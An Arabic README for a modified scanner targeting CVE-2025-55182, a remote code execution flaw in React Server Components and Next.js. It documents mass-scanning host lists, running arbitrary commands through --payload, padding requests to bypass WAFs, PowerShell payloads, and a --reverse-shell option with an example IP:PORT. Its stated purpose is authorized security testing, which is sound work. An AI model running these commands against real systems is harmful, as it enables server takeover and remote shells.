
نسخة متطورة من ماسح assetnote CVE-2025-55182
High Fidelity Detection for RSC/Next.js RCE
ماسح ضوئي لاكتشاف ثغرات تنفيذ الأوامر عن بُعد (RCE) في تطبيقات React Server Components و Next.js.
ماسح React2Shell Scanner هو أداة متخصصة لتحديد ثغرات تنفيذ الأوامر عن بُعد (RCE) في التطبيقات التي تستخدم React Server Components (RSC) و Next.js. تكتشف الأداة الثغرات المتعلقة بـ CVEs التالية:
تقوم الأداة بإجراء فحوصات عالية الدقة باستخدام كشف القناة الجانبية (side-channel detection) وإثبات المفهوم لـ RCE، مع القدرة على استخراج النتائج الديناميكية للأوامر المنفذة من خلال التحليل التلقائي لاستجابات HTTP.
هذه نسخة معدلة بواسطة @imguimoraes من الماسح الأصلي الذي طورته فريق أبحاث أمان Assetnote. تم إنشاء PoC RCE الأصلي بواسطة @maple3142.
pip install requests tqdm
أو باستخدام ملف requirements.txt:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [خيارات]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| الخيار | الوصف |
|---|---|
-u, --url URL | عنوان URL أو مضيف واحد للفحص |
-l, --list FILE | ملف يحتوي على قائمة بالمضيفين (واحد في كل سطر) |
| الخيار | الوصف |
|---|---|
-t, --threads N | عدد الخيوط المتزامنة (الافتراضي: 10) |
--timeout SECONDS | مهلة الطلبات بالثواني (الافتراضي: 10) |
-k, --insecure | تعطيل التحقق من شهادة SSL (مفعل افتراضيًا) |
| الخيار | الوصف |
|---|---|
-H, --header "Key: Value" | إضافة هيدر HTTP مخصص (يمكن استخدامه عدة مرات) |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
يعرض الماسح النتائج برموز ألوان تشير إلى الحالة:
بالنسبة للمضيفين الثغرات، يتم عرض نتيجة الأمر المنفذ عندما تكون متاحة من خلال الاستخراج التلقائي من هيدر X-Action-Redirect أو جسم الاستجابة.
عند استخدام الخيار -o، يتم حفظ الإخراج بتنسيق JSON بالهيكل التالي:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
حقول النتيجة:
vulnerable: true إذا كان ثغرة، false إذا لم يكن، null إذا حدث خطأcommand_result: نتيجة الأمر المنفذ المستخرجة من الاستجابة (عند التوفر)final_url: عنوان URL النهائي الذي تم اختباره (بعد تتبع إعادة التوجيه إذا كان مفعلًا)status_code: رمز HTTP للاستجابةrequest: طلب HTTP الكامل المرسلresponse: استجابة HTTP المستلمة (أول 2000 حرف)error: رسالة الخطأ إن وجدتtimestamp: طابع زمني UTC للفحصيوفر الماسح طريقتين للكشف:
الفحص الآمن (--safe-check): كشف القناة الجانبية غير التوغلي الذي يتحقق من أنماط الخطأ في الاستجابة دون تنفيذ كود. مفيد للفحص الأولي بدون تأثير.
PoC RCE: تنفيذ فعلي للكود عن بُعد مع استخراج ديناميكي للنتائج. يستخدم حمولات تعتمد على Node.js child_process لتنفيذ أوامر النظام.
يقوم الماسح بتحليل تلقائي لاستجابات HTTP لاستخراج نتائج الأوامر المنفذة:
X-Action-Redirect (تنسيق: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} أو 1:E{"digest":"<result>"})--payloadيتم الاستخراج ديناميكيًا، ولا يعتمد على قيم ثابتة، مما يسمح بالتحقق من تنفيذ أي أمر.
عند استخدام الخيار --waf-bypass:
--waf-bypass-size (الافتراضي: 128 كيلوبايت)يسمح المعامل --payload بتحديد أي أمر للتنفيذ:
echo $((41*271)) (النتيجة: 11111)--windowsيتم استخراج نتيجة الأمر وعرضها تلقائيًا، بغض النظر عن القيمة المرجعة.
يتيح الخيار --reverse-shell إنشاء اتصال reverse shell:
IP:PORT (مثال: 192.168.1.100:4444)powershell.exe/bin/shهذه الأداة مخصصة حصريًا للأغراض التعليمية واختبارات الأمان المصرح بها.
تم إنشاء استغلال RCE الأصلي بواسطة @maple3142.
تم تطوير الماسح الأصلي بواسطة فريق أبحاث أمان Assetnote:
تحتفظ هذه النسخة المعدلة بوظائف الماسح الأصلي مع تحسينات إضافية:
تم التحرير بواسطة: guiimoraes
إذا وجدت أخطاء أو لديك اقتراحات للتحسين، يرجى فتح issue في المستودع ووصف المشكلة بالتفصيل.
| الخيار | الوصف |
|---|
-o, --output FILE | ملف الإخراج للنتائج بتنسيق JSON |
--all-results | حفظ جميع النتائج في الملف، وليس فقط الثغرات |
-v, --verbose | إخراج مفصل (عرض مقتطفات الاستجابة للتحليل) |
-q, --quiet | الوضع الصامت (عرض المضيفين الثغرات فقط) |
--no-color | تعطيل الإخراج الملون |
| الخيار | الوصف |
|---|
--safe-check | استخدام كشف القناة الجانبية الآمن بدلاً من PoC RCE (لا ينفذ كود) |
--windows | استخدام حمولة PowerShell بدلاً من shell Unix (لبيئات Windows) |
--waf-bypass | إضافة بيانات عشوائية إلى الحمولة لتجاوز WAF (الافتراضي: 128 كيلوبايت) |
--waf-bypass-size KB | حجم البيانات العشوائية بالكيلوبايت لتجاوز WAF (الافتراضي: 128) |
--payload COMMAND | أمر مخصص للتنفيذ في RCE (الافتراضي: echo $((41*271))) |
--reverse-shell IP:PORT | إنشاء اتصال reverse shell إلى IP:PORT المحدد |